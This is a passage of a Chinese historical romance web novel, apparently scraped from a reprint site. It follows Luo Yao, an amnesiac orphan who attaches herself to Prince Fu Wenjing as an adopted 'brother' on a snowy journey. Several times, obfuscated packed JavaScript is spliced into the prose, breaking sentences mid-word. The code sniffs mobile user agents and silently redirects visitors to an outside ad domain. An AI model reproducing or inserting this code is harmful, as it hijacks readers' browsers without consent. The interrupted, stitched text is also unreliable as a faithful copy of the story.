鼻子酸酸的,看着眼前丰富的菜式,洛瑶觉得没什么胃口。 草草用完饭后,又喝了药,洛瑶乖巧地上床休息。 李婆婆家中有事,服侍洛瑶睡下后,便告假赶回家中。 当晚,洛瑶睡得极度不安稳,梦和现实真真假假,无法分辨。 猛地惊醒后,空荡荡的屋子,怅然若失,胸口闷闷,比针扎还难受。 外面的雪越来越大,夹杂着呼啸的风声,窗户被风吹得哐啷作响。 洛瑶抱着被子,缩在床角,一双杏眸警惕地看着外面,好一阵子,外面的风停了,但是好像有什么“笃、笃笃”敲着窗。 洛瑶壮起胆子爬到床沿,探出个脑袋查看。 屋内忽明忽暗的烛火,窗户上映出来的怪物影子,加上梦魇后的恐惧,洛瑶哇的一声跑到隔壁房间。 傅闻璟房门上了锁,洛瑶推不开,又不敢回去,坐在门口,小声抽泣。 洛瑶后背紧紧贴着房门,双手抱着膝盖,埋头进膝盖,小声念叨,“阿瑶别怕,在这里,有人,没、没有怪物。” “有人怪物就不会来吃你了。” “别怕,阿瑶别怕。” 傅闻璟向来警惕,迷迷糊糊听到有女子抽泣声和说话声。 “谁?” 门外的抽泣声停了一下,傅闻璟披了件衣裳开门,低头查看时和洛瑶仰头的视线相触。 傅闻璟闭眼揉了揉眉心,“怎么了?” “我害怕。”洛瑶站起来往前两步,慌慌张张看身后,像是后面有恶鬼追她一样。 傅闻璟看她身上仅穿着单薄的单衣,眉头紧拧,“我送你回房间。” “不、不要。”洛瑶拽着他的袖子不肯走,神色害怕又坚定,“有怪物,我怕。” 傅闻璟把身上的披风披到她身上,无奈地牵着人进房间,“你先坐一会,我去看看什么情况。” “我跟你一去。”洛瑶猛地起身,险些撞到傅闻璟的下巴。 “你不是害怕?”傅闻璟后退一步,双手换在胸前,眼神睥睨。 洛瑶低着脑袋,手指抠着披风上的绣纹,“我怕一个人。” 怕一个人,也怕你不要我。 傅闻璟顾及她身体不好,看了眼墙角的沙漏,指着他方才躺过的床榻,“你先去休息吧,我在这陪你。” “好。”洛瑶闻言,眼睛一亮,迅速把披风挂在衣桁上,踢掉鞋子躺进傅闻璟的被窝里。 躺下去后,洛瑶看着站着的大高个,猛地想起,她睡这,那傅闻璟在哪休息。 “那你呢。”洛瑶忐忑问道。 “我坐这闭目养神即可。” 洛瑶顺着傅闻璟的视线看过去,那是一张普通的圆凳,在那睡一晚上,腰背肯定受不了。 她往里挪了挪,拍了拍床榻,“要不,你上来休息?” 傅闻璟闻言,脸色瞬间冷下来,瞥了她一眼不说话。 洛瑶心如擂鼓,是她说错什么话了吗,脑海闪过一个念头,洛瑶猛地反应过来,坐起来连忙解释: “我不是那个意思!” “我很乖的,绝对不会对你动手动脚!” “你睡床上,我睡脚踏就好。”说着一骨碌爬下来。 单薄的身子忽然暴露在冷风中,洛瑶不禁瑟缩一下。 傅闻璟依旧没说哈,眸色沉沉地看着洛瑶。 洛瑶被他看得受不了,心里越发难受,不安站着抠手指,“我不是那个意思,我没有要缠上你,我就是害怕……” “我没有不听话,我只是怕被人丢下……” “我不是那种自荐枕席、毫无廉耻的人……” 说着说着声音就开始哽咽,傅闻璟还是没有说话,洛瑶像是下定决心,垂着脑袋,贝齿紧咬着唇,声音发抖,“我回去休息,打扰你了。” “算了,你在这歇着吧。” 傅闻璟暗自叹气,喊住她,又去找驿丞拿了一床被子铺在地上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111433|164082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我睡这,你安心歇息吧。” 洛瑶缩在被子里,轻轻的唔了一声。 外面风又开始刮起来,窗户还是发出奇怪的声响,洛瑶觉得自己似乎没有那么害怕了。 许是白天睡太多了,洛瑶一直睁着眼睛。 傅闻璟的床榻太硬了,睡得她腰背疼。 洛瑶偷偷的翻身,但是怎么都找不到合适的姿势,又翻了一下身。 “你要是不睡,就回去。”傅闻璟嗓音冷淡。 洛瑶听到声音,正准备翻的身子僵住,轻轻地调整睡姿,疼得龇牙咧嘴,也不敢再动。 又过了一会,洛瑶忽然出声,“你睡着了吗?” 傅闻璟:…… “我这几天一直在做噩梦。” 傅闻璟:……小丫头果然难养。 “梦到家里人不要我了,但是我根本看不清他们的样子,醒来我发现我根本想不起来家里人是谁。” “我醒来后只认识你,那天我听说你要把我送走,我不想走,我害怕被人丢下。” “我不想像梦里那样……” “虽然我不记得事情,但是我潜意识里总觉得,是我家里人都不要我了……” “是不是因为我不听话,所以他们才不要我……” 洛瑶没有听到傅闻璟的回应,叹了叹气,“今晚打扰你了。” “不打扰。”傅闻璟也没有睡着。 应该说房间里忽然出现女子的气息后,傅闻璟就一直没睡着。 洛瑶说的话,他一直都在听,脑海不由自主闪过当年的一幕幕。 父亲遇匪去世,母亲相思成疾,没过多久便溘然长逝。 祖母远在渔阳老宅,她讨厌母亲,也讨厌自己,不愿意到淮南来,只剩下年幼的自己操持父母的丧事。 当年的小傅闻璟,夜里也会哭着找人陪。 可是,阖府上下,没有一个人。 后来傅闻璟鼓起勇气去了渔阳老宅,没过几天,又被送到了成王府,最后又被送入皇城,就像个累赘一样,被人推来推去。 …… “你睡吧,不送走。” 罢了,她家破人亡也有自己的原因,留在身边当个妹妹养吧。 就当是全了对洛大人的愧疚之心。 得到了傅闻璟肯定的答复,洛瑶松了一大口气,“谢谢你,你真的是个好人!” 说完翻个身,闭着眼睛努力让自己睡着。 黑暗中傅闻璟抿唇,嘴角扯了扯,露出个嘲讽的笑容。 5. 第 5 章 翌日,洛瑶醒来时,屋内只剩下她一人,傅闻璟早已不知所踪。 昨夜傅闻璟用过的被褥整齐地叠好放在凳子上。 没一会,李婆婆捧着热水进来给洛瑶洗漱。 李婆婆拧干帕子给洛瑶,“都是老婆子不好,昨天晚上就该留在驿馆陪小姐的。” 洛瑶好奇抬头,这是什么说法? 李婆婆看着迷迷糊糊的洛瑶,心里一软,笑着解释道:“听说昨夜小姐被吓到了,才跑来贵人的屋里。” “今儿一早贵人就派人去看小姐屋里的窗户。” 洛瑶微微瞪大眼睛,攥紧小拳头。 傅闻璟果然是好人。 “赵小郎君去看了,在窗户上发现一只冻僵的鸟,可能是没南飞避寒,冻晕撞上小姐的窗户,这才把小姐吓到。” 李婆婆看洛瑶感兴趣,就捡着重点说。 今日小姐可算是鲜活点了,不像前几日那样死气沉沉。 “所以昨晚吓到我的怪物,是一只鸟?” 李婆婆应是,洛瑶蹙眉,可她昨晚明明听到一直笃笃笃的声音,怎么可能是一只冻晕的鸟。 等到洛瑶收拾完毕,傅闻璟也回来了。 “醒了便下来用饭吧。” 傅闻璟看了洛瑶一眼,小丫头今日面色比之前好多了,但身上还是不长肉,下巴尖得像是能戳破窗户纸一样。 洛瑶应了声,拿上李婆婆准备的手炉到了楼下,傅闻璟对面又放着一副碗筷,洛瑶撅了撅嘴,拿起碗筷坐在傅闻璟的右手边。 驿丞见人到齐,立马让后厨准备热饭菜。 傅闻璟明显感觉到,这小丫头在他答应不送走之后,倒是活泼了不少。 活泼些也好,总比前些日子死气沉沉那样好多了。 早上赵隋收到消息,林公那边最近也不好过。 洛政一家遇难的消息传到林公那边,林公夫妇只有洛夫人一个女儿,林夫人承受不住,晕厥过去。 如今林府像热锅上蚂蚁,急得团团转。 洛瑶情况不算很好,送到苏州林府,怕不是乱上加乱。 不过傅闻璟也让人给林公告知洛瑶的情况,至少有个血脉相连的外孙女在,二老不至于心死。 算了,就当妹妹养吧。 * 驿丞端了两碗热腾腾的面和一些当地菜式上来,身后跟着端着糕点的赵隋。 赵隋一脸络腮胡,身长八尺,长得可以说是凶神恶煞,杀气十足。 洛瑶第一眼看到赵隋时,吓到筷子都拿不稳,捧着碗一点点往傅闻璟身边挪去。 “怎么?”傅闻璟不明所以,看了眼洛瑶吃了半天都没有下去的面,眉头微蹙,“快些吃,天气冷,饭菜凉得快。” “那个人……”洛瑶飞快觑了眼赵隋,又低下头小口小口吃面。 好凶呀。 被他瞪一眼都能吓个半死。 傅闻璟闻言,看了一眼赵隋,赵隋连忙把糕点放在洛瑶面前,朝洛瑶拱手致歉,声如洪钟,“洛姑娘,那日是属下冒犯了,把您吓到了,属下给您道歉!” “当啷”一声,洛瑶手中的筷子掉落。 气氛一时间凝滞,洛瑶一脸惊恐地看着眼前的大个子,肉丸子卡在喉咙不上不下,憋得小脸通红。 傅闻璟倒了杯水给她,轻拍她的后背,“小心些。” 说着又看了眼赵隋。 赵隋尴尬地挠挠头,手足无措站在旁边,他是个老大粗,声音大,没想到洛姑娘胆子这么小,这样都被吓到。 洛瑶咳了许久,眼泪都咳出来,鼻尖红红的,身子脱力,虚靠着傅闻璟。 “你先下去吧。”傅闻璟打发赵隋,小声安抚洛瑶。 * 过了好一会,洛瑶总算是缓过来,她坐直身子,一双亮晶晶的杏眸看着傅闻璟,神色崇拜。 “你好像我哥哥哦。”洛瑶一眨不眨看着傅闻璟,缓缓吐出这句话。 “你想起来了?” 洛瑶茫然摇头,她脑袋里一片空白,但是直觉告诉她,哥哥也许就是这样哄她的,“没有,什么都想不起来。” 洛瑶拧了拧眉,但是很快松开,拉着傅闻璟的衣袖,小心翼翼问道:“我能叫你哥哥吗?我总觉得我应该有个哥哥……” 说完,又觉得自己的提的要求太过分了,“不可以也没关系……” 傅闻璟沉吟良久,“好。” “真的?”洛瑶猛地抬起头,肉眼可见地高兴。 “嗯。” 相比起洛瑶的兴奋,傅闻璟就平淡许多,但这并不影响洛瑶开心。 她竖起小拇指,又拉过傅闻璟的大手,和他的小拇指勾在一起,“拉钩,不许骗我哦。” “从今日起,你就是我哥哥了。”洛瑶勾着傅闻璟的小拇指不放开,脸上是甜甜的笑容。 洛瑶今日穿了雪色的冬衣,外面是毛茸茸的狐裘,冬日的阳光透过轩窗笼罩在她身上,纤长的睫毛投下两道扇形的阴影,轻轻眨眼像两只小蝴蝶颤动,水润唇瓣在阳光下像是晶莹剔透的琉璃。 傅闻璟低头看她,神色微怔。 似乎不满意,洛瑶晃了晃傅闻璟的手,连续轻轻地喊了好几声“哥哥”。 声音甜甜的,比傅闻璟吃过的江南桂花糖莲藕还要甜。 “嗯。”傅闻璟淡淡地应了声。 “先用饭吧,再晚些菜真的凉了。”傅闻璟拍拍洛瑶的手,示意她放开,又给她抽出一双全新的筷子,递到她手中。 “好。”洛瑶小口小口吃着面,吃两口又抬头对傅闻璟傻笑,小模样看得一旁的李婆婆心都化了。 傅闻璟垂眸,避开她的视线,淡淡道:“专心些,小心呛着。” “好~” 吃到一半,洛瑶忽然停下来,纤细的手指戳了戳傅闻璟结实的手臂。 “那个,你是我哥哥了,能不能不要送走我?” 不是她不相信傅闻璟,是梦里被人抛弃的感觉太难受了。 她害怕昨天晚上傅闻璟的话,只是安慰她。 傅闻璟对上洛瑶水盈盈的眸子,似乎他说一句“是”,洛瑶立马哭出来。 眼前的洛瑶,似乎和十年前的小傅闻璟重叠了。 傅闻璟颔首,郑重跟她重复,“不送走,等雪停了,就回淮南府。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这得多疼呀。 “这、这倒也不必……” 洛瑶摆摆手,“我没事,你别放在心上。”说着像是要证明自己没事,拍了拍胸口,“我现在好得很。” “姑娘——” “这是又怎么了?” 赵隋觉得今天一定是诸事不宜,他还没有说话,就被王爷打断了。 洛瑶听到傅闻璟的声,松了一口气,从李婆婆身后挪出来,背贴着门,一点一点蠕动,眼睛紧闭,嘴上还念念有词,“我没事,真没事,而且我也不记得之前的事情了,你别放心上……” 一点一点挪到傅闻璟旁边,“嗖”地躲到傅闻璟背后,只露出个脑袋,“我真的没事,你别这样,我、我害怕……” 洛瑶越说,赵隋越愧疚,抱拳弯腰,“小姐,都是属下的错,请小姐责罚。” 傅闻璟看着光着膀子负荆请罪的赵隋,觉得脑子有些疼,摆摆手让他下去,“她没放心上,此事就算了,赶紧回去穿衣服。” 洛瑶躲在傅闻璟身后,目送赵隋离开,狠狠地松了一口气,整个人像无尾熊一样挂在傅闻璟身上。 “太可怕了。”洛瑶把头埋在傅闻璟后背。 傅闻璟不喜陌生人和他靠那么近,语调微沉,“下来。” 洛大人家养的孩子,还真的……特别。 6. 第 6 章 洛瑶放手,傅闻璟转身回了厢房,洛瑶像个小尾巴一样,紧紧跟在他身后。 “我去处理公务,你回去休息。”傅闻璟的手按在门上,作势要关门。 洛瑶闪身进去,蹭到傅闻璟身边,拉着他的衣袖,“我来陪哥哥。” 声音软糯,又甜得发齁。 “我处理公务时不需要人陪,你回去吧。”傅闻璟微沉着脸,下了逐客令。 洛瑶闻言,心尖一颤,鼻子微酸,眼眶瞬间蓄起泪水,拉着傅闻璟衣袖的手指微微松开,低着脑袋轻轻应了声,然后不安地绞着手指。“那、那我不打扰哥哥了,我先回去。” 洛瑶转身,眼泪像断线了一样的小珍珠“噼里啪啦”地掉下来。她小步小步挪回厢房,抱着枕头缩在床角,咬着下唇,默默流泪,自己安慰自己。 没事的,哥哥忙,我自己呆着就行。 我不认识人,只要哥哥不把我送走就行,我不能对哥哥发小脾气,我很乖的。 我要乖乖听话,不能让哥哥不开心。 …… 李婆婆端着药进来时,洛瑶抱着枕头缩在角落睡着了,脸上都是泪痕。 “哎哟,可怜见的,又做噩梦了?”李婆婆轻轻拍醒洛瑶,拧了张帕子给她搽脸,“小姐这是梦到什么了,眼睛都哭肿了。” 洛瑶抬头看李婆婆,刚缓过来鼻子又一酸,“婆婆。” 洛瑶第一次主动靠近李婆婆,在李婆婆的肩膀蹭了蹭,犹犹豫豫说道:“我是不是好麻烦?” 李婆婆看着怀里瘦瘦小小的洛瑶,眼睛鼻子都红红的,怯生生的,似乎说一句重话就小珍珠就会落下来。李婆婆把洛瑶搂在怀里,跟哄家中小辈一样,“怎么会,小姐只是因为不记得事情所以心里害怕,怎么会麻烦。” “小姐乖,我们先喝药。” 一碗药喝完,洛瑶心里的难受总算是缓解了。 “婆婆,你以前认识我么?”洛瑶忽然问道。 洛瑶方才看着李婆婆,感觉像走马灯一样,闪过些零碎的场景,但是努力回想又想不起来。 “婆婆以前见过一次小姐,小姐和夫人一同施粥,可乖了。” “夫人?我娘么?”洛瑶只抓住关键词,抬头看李婆婆,“我爹娘是什么人呀?” 李婆婆抿唇,脱口而出的话,忽然停了下来。先前大夫再三叮嘱,不能刺激小姐,如今小姐不愿意想起以前的事情,若是跟她说了,这情况怕是会雪上加霜。 “婆婆?”洛瑶微微歪着脑袋看李婆婆。 “小姐的爹娘都是大好人,如果没有小姐的爹娘,扬州城的百姓都过不上这么好的日子。” 是大好人,为什么他们不来找我呢? 是我不听话,不要我了么? 洛瑶吸了吸鼻子,“那,他们现在在哪?为什么不来找我?是不要我了吗?” “呃……这个,”李婆婆顿了顿,把洛瑶搂进怀里,安慰道:“小姐的爹娘去了远方,他们为民请命,不是不要小姐。” “真的吗?”洛瑶抬头,双眼亮晶晶,一脸惊奇,对李婆婆露出笑容,“我知道了,爹娘一定是去做大英雄了。” 李婆婆把洛瑶搂进怀里,拍拍她的后背。 * 当晚快到用膳时分,洛瑶在楼下等傅闻璟,等了许久都没有看到人下来,外面冷风呼啸,她越坐越不安。 想到傅闻璟白日里严肃的神色,洛瑶又不敢去打扰他。 指甲快要被抠坏时,洛瑶下定决心上去找傅闻璟,她安慰自己:没事的,白日里哥哥只是公务繁忙,并不是嫌弃我。山不来就我,我去就山。别怕,哥哥只是长得有点凶,但是一点也不凶。不,不对,他只是冷脸,并不是凶。怎么能说哥哥凶呢,他对你多好…… 洛瑶边说服自己边提起裙子,噔噔噔跑上楼,跑得太快,没有留意到眼前出现的人,撞了上去。 “小心。”傅闻璟扶住洛瑶往后倒的身子,眉心蹙成个“川”字,“急急忙忙地做什么。” “去找你呀。”洛瑶看到傅闻璟的一瞬间,心情都好起来了,脸上是甜甜的笑容,杏眼眯起,像一轮弯月,说话语调也轻快了不少。 “哥哥公务繁忙,我怕你忘记吃饭……”洛瑶跑到傅闻璟身边,手指攥紧傅闻璟的衣袖,轻轻摇晃,“公务重要,但是身体也重要。” 洛瑶边说边用一双水眸看着傅闻璟,生怕傅闻璟拒绝。 傅闻璟比洛瑶高出一个脑袋,从他的视角看去,颈边的一圈狐裘,像个糯团子,又像小时候皇舅舅给他养小兔子。 “哥哥?”洛瑶见傅闻璟没有反应,轻轻摇晃他的手臂。 “走吧,”傅闻璟忍不住屈指在她额头轻轻敲了下,“去用饭。” “好。”洛瑶牵着傅闻璟的袖子往楼下走,走两步就回头看一眼傅闻璟。 傅闻璟没理会她,只是吩咐,“专心些,仔细摔着。” * 驿丞也是会来事的,这两天扬州知州频繁往这里跑,就算是瞎子也知道这里住的人非富即贵。 先前驿丞以为屋里的小姐只是贵人随手救回来,这两天打听才知道,原来是糟了难的洛家独苗苗。 洛大人是个好官,怪不得这些人生怕这姑娘出事。 驿丞观察了白日里洛瑶用得比较多的菜式,晚上让后厨多准备几个相似的,菜品端上来后,洛瑶惊喜极了。 李婆婆见状,连忙给洛瑶布菜。在扬州生活的人都知道,洛政大人家的千金生来体弱,从小到大都在喝药,年前才说身子好些,才停了药,哪曾想就糟了这等祸事。 李婆婆还在叹洛瑶命途多舛,洛瑶早已拿起筷子大快朵颐,吃得两颊鼓鼓的,嘴唇沾上了蜂蜜,在烛光的映衬下,像琥珀一样色泽莹润。 洛瑶夹了一块糖莲藕放进傅闻璟的碗里,希冀地看着傅闻璟,“哥哥吃。” “我不喜欢吃甜的,”傅闻璟对上洛瑶水盈盈的眸子,像是包了一包眼泪,又自行找补,“不过可以试试。” “好吃吗?”洛瑶微微歪着脑袋看他,眼睛亮晶晶。 傅闻璟微蹙眉头,端起茶盏喝了几口,总算是缓解口中的甜腻,淡淡地嗯了声。 洛瑶喜出望外,又给他夹了两块蜜汁火方,这才心满意足地埋头干饭。 用饭后,傅闻璟回屋,洛瑶也跟在他身后。到傅闻璟房门口时,洛瑶站在门口,手指无意识搓着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111435|164082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狐裘,眼睛好奇地往里面打探,但又不敢进去。 傅闻璟回头便是这样的场景,“怎么不进来?” “可以吗?”洛瑶眨着杏眼问他,语气里满是期待。 傅闻璟微微点头,“进来吧。” “好!”说着洛瑶提起裙摆,跑到傅闻璟身边,速度之快,傅闻璟都忍不住怀疑这个洛姑娘体弱不足的传言是不是真的。 洛瑶搬了张椅子坐在傅闻璟旁边,小心翼翼地生怕打扰傅闻璟,傅闻璟走到哪,她的视线就跟到哪,安静得屋内只有蜡烛的发出的响声。 过了许久,外面打更的声音,傅闻璟从书中抽出神来,才发现洛瑶趴在桌子上睡着了。 这丫头……傅闻璟拧着眉头,把披风盖在她身上,弯腰把人抱起时,猝不及防对上洛瑶迷茫的眼神。 “醒了?醒了就回去睡觉,夜深了。”傅闻璟把人放下来,拢了拢洛瑶身上的披风。 冷风从敞开的门灌入,洛瑶猛地一抖,瞬间清醒。 外面又响起一阵“笃笃笃”的声音,洛瑶心头一颤,立刻攥紧傅闻璟的衣服,秀眉紧蹙,挪动到傅闻璟身边,紧紧贴着他。 “又、又有声音,‘笃笃笃’的……我、我不敢自己睡……” 呼啸的北风加上一阵又一阵断断续续的声音,洛瑶害怕极了,在这个冬日里,手心都出了汗。 傅闻璟眉头也没有松开,他只听到一阵北风呼啸,洛瑶说的声音,他倒是完全没有听到。 “我去看看。”他的大手覆上洛瑶的小手,拍了拍,示意她松开。 洛瑶疯狂摇头,杏眼里满是惊恐,手指越攥越紧,甚至整个身子都紧贴傅闻璟身上,生理性恐惧的泪水流了一脸,“不、不要,别去,我怕……” 傅闻璟剑眉紧蹙,大掌安抚性地轻拍洛瑶后背,“没事,别怕。” 良久,傅闻璟低头,才发现洛瑶睡着了,泪水糊了一脸。傅闻璟无声叹息,把人抱上床,拆了发饰,盖好被子,他则是在地上打地铺。 第二日一早,洛瑶醒来时,听到外面一阵声音。没过多久,傅闻璟进来,他看见洛瑶醒来,背着手侧过身子不去看她,“醒了便梳洗,晚点大夫来给你把脉。” 洛瑶发现自己又在他屋里睡着了,小脸微微一红,连忙应声。 一盏茶后,洛瑶坐在一旁任由回春堂的老大夫把脉。 老大夫给洛瑶扎针后,又跟傅闻璟在外面说话。 “贵人所说的这种情况,多半是因为姑娘那日留下不好的记忆,才会有些风吹草动就会自我联想,这种情况,老朽只能开些安神的药。” 老大夫捋了捋胡子,“不过这药,也是治标不治本,姑娘的状态,像极了老朽之前听说的病人,那位病人遭受重创后,刻意把那段遭遇忘记,像正常人一样生活,但是一有点风吹草动便如同惊弓之鸟一样。” “姑娘现在正是脆弱之际,对您也是依赖,贵人若是有空,可以多陪陪姑娘。” 老大夫说完,朝傅闻璟拱手提着药箱离开。 李婆婆去煎药了,洛瑶撑着下巴等傅闻璟回来,洛瑶的脸上还是刚睡醒的红印。 傅闻璟推门进来,洛瑶立刻坐直身子。 7. 第 7 章 “哥哥。”洛瑶声音雀跃,能每日见到傅闻璟她很开心。 洛瑶起身把一旁的凳子抽出来,又倒了一杯茶,拉傅闻璟坐下。 傅闻璟嗯了一声顺势坐下,窗户微微打开,寒风透过空隙吹进屋内,屋内炭火旺盛,倒不觉得冷,反而空气清新不少。 洛瑶背对着窗户,风吹乱她的头发,颈侧的狐裘随风摇摆。 “雪停了,明日启程回淮南。”傅闻璟移开视线,目光虚虚的落在她颊边晃动的耳坠上。 淮南? 洛瑶手指微动,一点一点挪动傅闻璟衣袖旁边,扯了扯他的衣袖,“你会带上我走吗?” 洛瑶和傅闻璟对视良久,洛瑶感觉心脏从一下一下猛跳,到逐渐回归平静,最后悄无声息。 她缩回手指,贝齿咬着下唇,落寞地低下脑袋。 “带。” 洛瑶觉得傅闻璟这一声,如仙乐一般悦耳。“真的?!”洛瑶猛地抬头,对上傅闻璟温和的眸子,好一会,她才反应过来。 洛瑶的喜悦感染了傅闻璟,他面带不易察觉的笑意,点点头,“以后你就是王府的姑娘了。” “哥哥好坏。” 傅闻璟不明所以,“什么?” 洛瑶撅了撅嘴,哼了一声,“哥哥好坏,老是逗阿瑶,方才都要把阿瑶吓死了。” “阿瑶以为哥哥嫌弃我麻烦,不要我了。”洛瑶说着就吸了吸鼻子,眼眶里水盈盈的,看得傅闻璟心尖一软。 “哥哥以后不能骗阿瑶,阿瑶会当真的,阿瑶的爹娘不在,只认识哥哥,如果哥哥都不要阿瑶了,阿瑶就成了孤苦无依的小乞丐了。” 傅闻璟听着,好笑地轻弹了一下洛瑶的脑袋,“以后不能让人给你讲乱七八糟的故事。” “嘻嘻,”洛瑶把傅闻璟的手抓下来,握在手里,轻轻摇晃,“阿瑶知道哥哥不会扔下我,所以阿瑶以后也会陪着你。” “一辈子陪着你。” 洛瑶脸上露出明媚的笑容,就像春日里和煦的阳光洒在大地上,冰雪消融。 傅闻璟感觉心脏一紧,转念又自嘲,洛瑶如今什么都不记得,所谓诺言当不得真。 但不得不说这句话给傅闻璟的冲击不小。从小到大,傅闻璟都不是被坚定选择的那一个。母亲在感情和他之间,选择了感情,抛下年幼的他,祖母不喜他,嫌弃他麻烦,把他送去京城,成王叔觉得他没有利用价值,把他送进了皇宫,皇舅舅虽然对他好,但他也有自己的孩子,孰轻孰重一目了然。 半生归来,却是孑然一身。 “这样的话,不要随便说。”傅闻璟收回思绪,语气沉重。 “为什么?”洛瑶歪着脑袋发出疑问,李婆婆给她讲的书生和小姐的故事,喜欢一个人,就要陪他一辈子,“我喜欢哥哥,陪哥哥一辈子不好么?” 她喜欢哥哥,当然要陪他一辈子,为什么哥哥不喜欢。 “你对我只是恩人的感激,等感激之情消退,便不会有陪我一辈子的想法,这句话太重了,别胡乱许诺,”傅闻璟沉着眸子,掰开她的手指,“我交代了李婆婆给你收拾东西,淮南府虽不远,但如今天寒地冻,李婆婆给你准备了行装,你看看还缺什么。” 洛瑶一愣,喏喏地应了声,垂着脑袋离开屋子。 傅闻璟起身打开窗户,北风迎面吹来,冻得人一哆嗦,傅闻璟也清醒了。 呵,一辈子。当年母亲也说一辈子陪着自己,不还是选择去陪父亲,当着自己的面自戕了吗。 * 洛瑶回到屋里,李婆婆果然在给她收拾行装。衣物、零嘴、还有药物,李婆婆数了一遍又一遍,洛瑶神色落寞坐在一旁看她收拾。 晚上用饭后,李婆婆给洛瑶打了水擦洗,忍不住在一旁絮絮叨叨,“这还下着雪,小姐的身体又不好,怎么这么快就走了。” “一行人都是大老粗,又没有个丫头能照顾姑娘,姑娘身体本来就弱,大老粗哪有丫头精细……” 李婆婆絮絮叨叨了一晚上,直到洛瑶迷迷糊糊睡着了,脑袋里还是李婆婆的声音。 或许这就是家人的感觉吧,真好。洛瑶心想。 半夜,洛瑶又一次惊醒,她恍惚间又听到了外面奇怪的声音。许是李婆婆离开的时候没有关好门,风吹过,房门“哐当”一声被吹开。 窗外又开始“呜呜呜”地响,洛瑶脑子里紧绷的神经瞬间断开,一骨碌爬起来往傅闻璟屋里跑去。 夜里傅闻璟刚解了外衣房门就被猛地推开,洛瑶光着脚跑进来,直直扑进傅闻璟怀里,挂在傅闻璟身上。 傅闻璟下意识抱住洛瑶,往上掂了掂,防止她掉下。 “有声音……”洛瑶小声呜咽,趴在傅闻璟怀里,脑袋埋在他的肩窝,眼泪落在傅闻璟的颈侧,顺着肌理滑落。 傅闻璟明显感觉到那滴眼泪滑动轨迹,眉头一跳。他把洛瑶放在床上,关好房门,回到床边给洛瑶盖上被子,目光触及瑟瑟发抖的洛瑶,柔声安抚,“没事了,别怕。” 洛瑶一晚上睡得不安稳,手无意识地紧握着傅闻璟的手指,直到天亮都没有松开。 夜里傅闻璟给洛瑶擦了几次汗,有时候分不清她脸上是汗水还是泪水,换了一张又一张的帕子。 翌日一早,赵隋敲门,进来后准备说话,却被傅闻璟制止。 顺着傅闻璟的视线,赵隋铜铃般的眼睛瞪得更大。 这、这、这…… 傅闻璟警告地看他一眼,赵隋八卦的小心思瞬间熄灭,放缓动作走到傅闻璟旁边,小声说道:“王爷,马车已经安排好了,咱们随时都能出发。” “嗯,”傅闻璟点头,像是想到什么一样,吩咐道,“你去买些扬州的特色小吃,要甜的。” “王爷不是不爱吃甜的吗?”赵隋说完像是发现什么惊天大秘密一样,连忙应声,迅速跑到出去,一把捞走前来说事情的蒋明。 赵隋前脚刚走,后脚洛瑶就醒了。 “哥哥。”洛瑶见傅闻璟靠着床柱子看书,轻轻晃了一下傅闻璟的手,喊了傅闻璟一声。 傅闻璟把书放在一旁,抽出手,“醒来就去收拾收拾,马上就启程了,趁天气好,赶紧赶回去。” 洛瑶唔了声,起身发现没有鞋子,戳了戳背着她的傅闻璟的后腰,“哥哥,没有鞋。” 傅闻璟拧眉,他忘了这丫头昨晚上是光脚跑过来的,转身弯腰把洛瑶抱进怀里,稳稳地走回洛瑶的屋里。 屋里李婆婆在收拾东西,这几天洛瑶一害怕就往傅闻璟屋里跑,李婆婆都见怪不怪。洛瑶坐在床边,李婆婆给她换衣裳,一想到洛瑶马上要离开,李婆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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洛大人虽身故,洛姑娘作为独苗苗,陛下惜才,加上洛大人政绩卓然,对洛姑娘的补偿只多不少,打好关系也是墙头草的生存之道。 李赟又转身对傅闻璟道:“下官女儿准备了一些零嘴,不知道洛姑娘喜不喜欢,她听闻洛姑娘要离开扬州,还说要来送一送,可惜今日一早起来便感了风寒,只好由我代为转交。” “时候不早了,下官不耽搁王爷的起程,恭送王爷。” 傅闻璟颔首,示意身边的侍卫收下,转身往马车走去。 洛瑶趴在窗沿一直盯着傅闻璟,“哥哥快上来,外面冷。” 傅闻璟一行人很快出发,李赟背着手望向天空的,今日天气不错,就跟他的仕途一样。 马车里,洛瑶抱着傅闻璟的手叽叽喳喳说话,傅闻璟眼神没有离开手中的书,时不时应和一声。 洛瑶说累了,又拿去找吃的,吃着吃着又往傅闻璟嘴里喂,傅闻璟不喜甜食,蹙眉避开,到了嘴边的话又咽下,张嘴吃下洛瑶递过来的甜食。 “累了就休息一会。”傅闻璟抽出手臂,倒了一杯茶,缓解口中的甜腻。 洛瑶“噌”地坐直身子,“不累,这是阿瑶记忆中第一次出门,得好好看看外面的风景。” “随你。” 洛瑶趴在窗边看外面的雪景,傅闻璟担心她着凉,随手把帽子罩在她脑袋上。 过了不到半个时辰,说要看风景的洛瑶靠着傅闻璟睡过去,马车内温度略高,洛瑶睡得脸蛋红红的,像熟透了的果子,嘴唇莹润,像一块上好的玉石。 